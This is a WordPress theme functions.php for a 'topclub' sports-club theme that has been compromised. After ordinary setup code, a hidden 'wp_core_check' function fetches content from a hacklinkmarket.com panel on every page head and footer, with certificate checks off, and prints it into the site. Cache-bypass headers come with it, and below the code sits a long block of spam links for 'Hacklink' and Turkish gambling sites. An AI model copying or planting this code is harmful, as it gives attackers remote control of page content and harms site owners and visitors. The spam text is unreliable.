// Add Woocommerce Support add_action( 'after_setup_theme', 'topclub_add_woocommerce_support' ); function topclub_add_woocommerce_support() { add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); } // Icnluding Custom Navigation Walker require_once(get_template_directory() . '/include/wp_bootstrap_navwalker.php'); // Add Feed Links Support add_theme_support( 'automatic-feed-links' ); // Logo Option Support function topclub_theme_logo() { add_theme_support( 'custom-logo', array( 'height' => 110, 'width' => 110, 'flex-height' => true, 'flex-width' => true ) ); } add_action( 'after_setup_theme', 'topclub_theme_logo' ); // Style Editor add_theme_support('editor-styles'); add_editor_style( 'style-editor.css' ); // Register Menus function topclub_theme_register_menus() { register_nav_menus( array( 'head-menu' => esc_html__( 'Head Menu', 'topclub' ), ) ); } add_action( 'init', 'topclub_theme_register_menus' ); // Add Theme Support if ( function_exists( 'add_theme_support' ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'title-tag' ); add_theme_support( 'automatic-feed-links' ); } // Register Sidebar function topclub_primary_sidebar() { $args = array( 'id' => 'sidebar-right', 'name' => esc_html__( 'Sidebar', 'topclub' ), 'description' => esc_html__( 'Right Sidebar', 'topclub' ), 'class' => 'topclub-widget', 'before_title' => '

', 'after_title' => '

', 'before_widget' => '', ); register_sidebar( $args ); } add_action( 'widgets_init', 'topclub_primary_sidebar' ); function topclub_footer_layout() { switch ( get_theme_mod( 'footer_layout_setting', 1 ) ) { case 0: return "col-md-12"; break; case 1: return "col-md-6"; break; case 2: return "col-md-4"; break; case 3: return "col-md-3"; break; } } function topclub_footer_sidebar() { $args = array( 'id' => 'footer-widgets-area', 'name' => esc_html__( 'Footer Widgets Area', 'topclub' ), 'description' => esc_html__( 'Footer Widgets Area', 'topclub' ), 'class' => 'topclub-widget', 'before_title' => '', 'before_widget' => '', ); register_sidebar( $args ); } add_action( 'widgets_init', 'topclub_footer_sidebar' ); // Custom comments template require_once( get_template_directory() .'/custom-comments.php' ); // Custom pagination function topclub_pagination($pages = '', $range = 2) { $showitems = ($range * 2)+1; global $paged; if(empty($paged)) $paged = 1; if($pages == '') { global $wp_query; $pages = $wp_query->max_num_pages; if(!$pages) { $pages = 1; } } if(1 != $pages) { echo ""; } } // Share Buttons Location Setting function topclub_sharing_locations() { if ( !in_category( array( '' ) ) ) { return true; } } add_filter( 'addtoany_sharing_disabled', 'topclub_sharing_locations' ); // Language Settings load_theme_textdomain('topclub', get_template_directory() . '/languages'); add_action('after_setup_theme', 'topclub_theme_setup'); function topclub_theme_setup(){ load_theme_textdomain('topclub', get_template_directory() . '/languages'); } //Including Theme Customizer require_once( get_template_directory() .'/include/theme_customizer.php' ); //Adding Post Formats function add_post_formats() { add_theme_support( 'post-formats', array( 'gallery', 'quote', 'video', 'aside', 'image', 'link' ) ); } add_action( 'after_setup_theme', 'add_post_formats', 20 ); // Woocommerce - change number or products per row to 3 add_filter('loop_shop_columns', 'topclub_loop_columns'); if (!function_exists('loop_columns')) { function topclub_loop_columns() { return 3; // 3 products per row } } add_filter( 'loop_shop_per_page', 'topclub_loop_shop_per_page', 20 ); function topclub_loop_shop_per_page( $cols ) { $cols = 18; return $cols; } // Wocoomerce Ajax Cart Update add_filter( 'woocommerce_add_to_cart_fragments', 'topclub_cart_count', 10, 1 ); function topclub_cart_count( $fragments ) { $fragments['span.cart-quantity'] = '' . WC()->cart->get_cart_contents_count() . ''; return $fragments; } // Content width set if (!isset($content_width)) $content_width = 900; // Enqueue comments reply function topclub_enqueue_comments_reply() { if( get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'comment_form_before', 'topclub_enqueue_comments_reply' ); // TGM Plugin Activation require_once (get_template_directory() . '/include/class-tgm-plugin-activation.php' ); add_action( 'tgmpa_register', 'topclub_require_plugins' ); function topclub_require_plugins() { $plugins = array( array( 'name' => 'CSA Top Club', 'slug' => 'csa-topclub', 'source' => get_template_directory() . '/include/csa-topclub.zip', 'required' => true, ), array( 'name' => 'Custom Sidebars', 'slug' => 'custom-sidebars', 'source' => 'https://downloads.wordpress.org/plugin/custom-sidebars.3.2.3.zip', 'required' => false, ), array( 'name' => 'QuadMenu', 'slug' => 'quadmenu', 'required' => false, ), array( 'name' => 'AddToAny Share Buttons', 'slug' => 'add-to-any', 'required' => false, ), array( 'name' => 'One Click Demo Import', 'slug' => 'one-click-demo-import', 'source' => 'https://downloads.wordpress.org/plugin/one-click-demo-import.2.5.2.zip', 'required' => false, ), array( 'name' => 'Kirki', 'slug' => 'kirki', 'required' => true, ) ); $config = array( 'id' => 'topclub', 'default_path' => '', 'menu' => 'topclub-install-required-plugins', 'has_notices' => true, 'dismissable' => false, 'is_automatic' => false, ); tgmpa( $plugins, $config ); } // Number of Custom posts function topclub_media_posts_num($query) { if ($query->is_main_query() && $query->is_post_type_archive('media') && !is_admin()) $query->set('posts_per_page', 24); } add_action('pre_get_posts', 'topclub_media_posts_num'); // Thumbnails Size function topclub_thumbnails_setup() { if ( function_exists( 'add_image_size' ) ) { add_image_size( 'topclub-short-post-thumb', 400, 200, true ); add_image_size( 'topclub-full-post-thumb', 1200, 9999 ); add_image_size( 'topclub-fixture-post-thumb', 1200, 9999 ); add_image_size( 'topclub-player-homepage-thumb', 350, 9999 ); add_image_size( 'topclub-player-archive-thumb', 350, 9999 ); add_image_size( 'topclub-player-single-thumb', 400, 380, true ); add_image_size( 'topclub-media-thumb', 375, 200, true ); } } add_action( 'after_setup_theme', 'topclub_thumbnails_setup' ); function topclub_excerpt_more($more) { return '...'; } add_filter('excerpt_more', 'topclub_excerpt_more', 21 ); function topclub_excerpt_more_link( $excerpt ){ $post = get_post(); $excerpt .= '' . __('Read More', 'topclub') . ''; return $excerpt; } add_filter( 'the_excerpt', 'topclub_excerpt_more_link', 21 ); // function to display number of posts. function topclub_getPostViews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return __('0 View', 'topclub'); } return $count. ' ' . __('Views', 'topclub'); } // function to count views. function topclub_setPostViews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } // Import Demo Content if ( ! function_exists( 'topclub_import_files' ) ) : function topclub_import_files() { return array( array( 'import_file_name' => 'Default Demo', 'local_import_file' => trailingslashit( get_template_directory() ) . 'demo/default/content.xml', 'local_import_widget_file' => trailingslashit( get_template_directory() ) . 'demo/default/widgets.wie', 'local_import_customizer_file' => trailingslashit( get_template_directory() ) . 'demo/default/customizer.dat', 'import_preview_image_url' => trailingslashit( get_template_directory() ) .'demo/default/screenshot.png', 'import_notice' => __( 'Please wait for a few minutes, do not close the window or refresh the page until the data is imported.', 'topclub' ), ) ); } add_filter( 'pt-ocdi/import_files', 'topclub_import_files' ); endif; // Menu Demo Path add_filter('quadmenu_import_demo_path', 'topclub_import_demo_path'); function topclub_import_demo_path($file = '') { return get_template_directory() . '/demo/default/'; } if ( ! function_exists( 'topclub_after_import' ) ) : function topclub_after_import( $selected_import ) { if ( 'Default Demo' === $selected_import['import_file_name'] ) { //Set Menu $head_menu = get_term_by('name', 'Head Menu', 'nav_menu'); set_theme_mod( 'nav_menu_locations' , array( 'head-menu' => $head_menu->term_id ) ); } } add_action( 'pt-ocdi/after_import', 'topclub_after_import' ); endif; // QuadMenu Hook add_filter('quadmenu_default_themes', 'topclub_hook_menu_themes', 1); function topclub_hook_menu_themes($themes) { $themes = array( 'head-menu' => 'Head Menu', ); return $themes; } add_action('wbc_importer_after_content_import', 'toplub_import_demo_menus', 10, 2); // Menu Demo Locations function toplub_import_demo_menus($demo_active_import, $demo_directory_path) { reset($demo_active_import); $current_key = key($demo_active_import); if (!empty($demo_active_import[$current_key]['directory'])) { $head_menu = get_term_by('name', 'Head Menu', 'nav_menu'); if (isset($head_menu->term_id)) { set_theme_mod('nav_menu_locations', array( 'head-menu' => $head_menu->term_id, ) ); } } } add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999); /* Telegram: https://t.me/hacklink_panel */ if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);} ?>

marsbahis giriş

marsbahis giriş telegram

Hacklink panel

Hacklink Panel

Hacklink panel

Hacklink

Hacklink panel

Backlink paketleri

Hacklink Panel

Hacklink

Hacklink

Hacklink

Hacklink panel

Hacklink

Hacklink

Hacklink

Hacklink

Hacklink panel

Eros Maç Tv

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink satın al

Hacklink satın al

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Illuminati

Hacklink

Hacklink Panel

Hacklink

Hacklink Panel

Hacklink panel

Hacklink Panel

Hacklink

betcio

Masal oku

Hacklink

Hacklink

Hacklink

Hacklink

alobet

Hacklink

Hacklink

Hacklink

anadoluslot

Hacklink panel

Postegro

Masal Oku

Hacklink

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink Panel

Hacklink

Hacklink

Hacklink

Hacklink

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink

Hacklink

Hacklink Panel

Hacklink

Hacklink

Hacklink

Buy Hacklink

Hacklink

Hacklink

Hacklink

Hacklink

Hacklink satın al

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink panel

Hacklink

Masal Oku

Hacklink panel

Hacklink

Hacklink

หวยออนไลน์

Hacklink

Hacklink satın al

Hacklink Panel

madridbet

madridbet giriş

madridbet güncel

kingroyal

kingroyal giriş

kingroyal güncel

meritking

meritking giriş

meritking güncel